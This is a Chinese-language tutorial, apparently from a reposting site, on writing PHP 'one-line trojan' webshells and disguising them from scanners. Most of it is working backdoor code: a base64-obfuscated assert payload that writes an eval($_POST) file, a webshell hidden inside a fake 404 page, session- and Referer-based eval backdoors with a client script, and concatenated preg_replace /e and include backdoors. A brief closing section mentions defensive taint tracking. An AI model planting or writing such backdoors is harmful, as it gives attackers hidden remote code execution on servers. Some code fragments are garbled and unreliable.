php⼀句话怎么写_PHP⼀句话⽊马后门
在我们进⾏渗透测试的最后阶段,⼊侵到内⽹⾥,⽆论是想要浏览⽹站结构,还是抓取数据库,或者是挂个⽊马等等,到最后最常⽤的就是
执⾏⼀句话⽊马,从客户端轻松连接服务器。
⼀句话⽊马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是⿊⽩的较量变成了⿊帽不断的构造变形的后
门,去隐蔽特征,⽽⽩帽则不断的更新过滤⽅法,建起更⾼的城墙。
⼀、原理简述
对于不同的语⾔有不同的构造⽅法。
基本构造:最开头构造的是脚本开始的标记
核⼼部分:获取并执⾏得到的内容,通常类似eval、execute等
被执⾏内容:⼀般是http等协议接受的值,通常类似request、$_POST等
如果我们通过客户端向服务器发送被执⾏内容,那么就会让服务器执⾏我们发送的脚本,挂马就实现了。
/*asp⼀句话⽊马*/
/*php⼀句话⽊马*/
/*aspx⼀句话⽊马*/
⿊帽⼦的⽬的,就是想尽办法给⽬标⽹站插⼊这么⼀段会被储存起来的语句。可以是⼀个单独的脚本⽂件⽂件(.asp 、.php、.aspx ),或者
是隐藏在某些⽹页下的⽂件、代码等。其中的value 就是客户端要发送的内容,然后通过客户端与服务器建⽴连接,发送控制脚本。也会涉
及到⼀些任意⽂件上传漏洞等。
⼆、简单变形
很明显的 eval 可以成为⼀个静态特征码,webshell扫描⼯具可以以此为关键词,扫描到这种⽊马加以屏蔽。于是可以简单变形不出现
eval:
同理,传给a值为 @base64_decode(base64编码过后的eval)。
利⽤⽅法:
a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NU
通过对GET请求的URL构造⽽形成利⽤,左括号和右括号是URL编码,解码回来如下:
a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
PHP接收到GET请求后相当于执⾏⼀个assert函数,并把b作为assert的参数。b⾥⾯使⽤略php的base64解码函数,把部分信息通过
php如何运行代码base64编码⽽绕过扫描,解码后如下:
a=assert&b=${fputs(fopen(c.php,w),<php @eval($_POST[c]); >1)};
执⾏后当前⽬录⽣成c.php⽂件并写⼊⼀句话⽊马,这已经算是⼀个⾮常隐蔽的⽊马了。⽽在PHP 后门的变形之路上,远远不⽌这些,甚⾄
可以⾃⼰定义⼀个加密解密的函数,或者是利⽤xor, 字符串翻转,压缩,截断重组等等⽅法来绕过。
三、变形改良
1.404页⾯隐藏⽊马
404 Not Found
Not Found
The requested URL was not found on this server.
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
>
⼀般404页⾯放好后,很少有⼈会定期对404页⾯进⾏检查和修改。如果在404页⾯挂上了⼀句话后门,⼀⽅⾯不会被发现,另⼀⽅⾯,⿊帽⼦很容易能定位到并连接上服务器。
2.⽆特征隐藏PHP后门
利⽤session:
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
利⽤$_SEESION变量来绕过扫描,将$_POST['code']赋值给$_SESSION['theCode'],然后eval执⾏SESSION的内容。
利⽤HTTP_REFERER:
利⽤请求中的HTTP_REFERER来运⾏经过base64编码的代码,达到后门的效果,使⽤两个⽂件。
/
/1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
//2.php
header('Content-type:text/html;charset=utf-8');
//要执⾏的代码
$code = <<
phpinfo();
CODE;
//进⾏base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'localhost/test1/1.php';
$ch = curl_init();
$options = [
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
];
curl_setopt_array($ch, $options);
echo curl_exec($ch);
访问2.php,会构造⼀个会话,进到后门1.php那⾥。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执⾏内容。⼀般来说,防⽕墙会对 referer字段宽松⼀些,就可造成绕过。
3.常见的后门
//菜⼑⼀句话
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//危险的include函数,直接编译任何⽂件为php格式运⾏
$filename=$_GET['xbid'];
include ($filename);
//重命名任何⽂件
$reg="c"."o"."p"."y";
$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);
//菜⼑⼀句话
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//gif插⼀句话
//危险的include函数,直接编译任何⽂件为php格式运⾏,/index.php?uid=/home/www/bbs/image.gif
include ($uid);
//典型⼀句话
//使⽤lanker⼀句话客户端的专家模式执⾏相关的php语句
$_POST['a']($_POST['b']);?>
$_POST['a']($_POST['b'],$_POST['c'])?>
//使⽤这个后,使⽤菜⼑⼀句话客户端在配置连接的时候在"配置"⼀栏输⼊
h=@eval_r($_POST1);
//绕过<?限制的⼀句话
四、攻防
攻⽅:利⽤各种各样的绕过姿势,都是试图让扫描⼯具⽆效。
守⽅:分析各种各样的函数,寻有效的特征码来防⽌后门。
⿊帽⼦⼤⽜:深⼊web框架内核,挖掘出代码缺陷,构造出复杂的后门利⽤。
安全审计⼈员:对那些通过GET,POST 获取的超全局变量,进⾏细致的追踪,构造合适的过滤器。
语义分析:对GET POST 等获取的值进⾏污染点追踪,以确保这些⽤户可控的值,不会未经过滤就得到了执⾏,或是进⼊数据库中。针对超全局变量进⾏语义分析:
$_GET
$_POST
$_REQUEST
$_SERVER
$_FILES
$_COOKIE
$_SESSION
$_ENV
$GLOBALS

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。